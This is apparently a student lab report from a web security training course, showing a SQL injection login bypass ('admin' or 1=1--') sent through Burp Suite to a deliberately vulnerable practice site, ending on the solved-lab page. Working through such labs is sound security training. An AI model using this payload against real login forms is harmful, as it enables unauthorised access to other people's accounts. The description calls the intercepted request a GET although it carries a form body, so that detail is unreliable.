

Actividad 3: Laboratorio

csrf=x0HPziLvucbSUw5nmhpWsmcvFuO85ePz&username=admin' or 1=1--
-&password=123

The screenshot shows the Burp Suite interface at the top, with the 'Intercept' tab active. It displays an intercepted HTTP request to `https://0a8f009c0493b324816fc58c00d9009e.web-security-academy.net/443`. The request is a GET request with the following headers and body:

```
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 65
10 Origin: https://0a8f009c0493b324816fc58c00d9009e.web-security-academy.net
11 Referer: https://0a8f009c0493b324816fc58c00d9009e.web-security-academy.net/login
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Te: trailers
18
19 csrf=x0HPziLvucbSUw5nmhpWsmcvFuO85ePz&username=admin' or 1=1--&password=123
```

The 'Inspector' panel on the right shows the request details, including 2 request attributes, 0 query parameters, 3 body parameters, 1 cookie, and 19 headers.

Below the Burp Suite interface, a web browser window shows the 'SQL injection vulnerability allowing login bypass' lab page. The page title is 'SQL injection vulnerability allowing login bypass' and the URL is `https://0a8f009c0493b324816fc58c00d9009e.web-security-academy.net/my-account?id=administrator`. The page features the Web Security Academy logo and a 'LAB Solved' badge. A 'Back to lab description' link is also present.

Congratulations, you solved the lab!

[Share your skills!](#)

[Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

[Update email](#)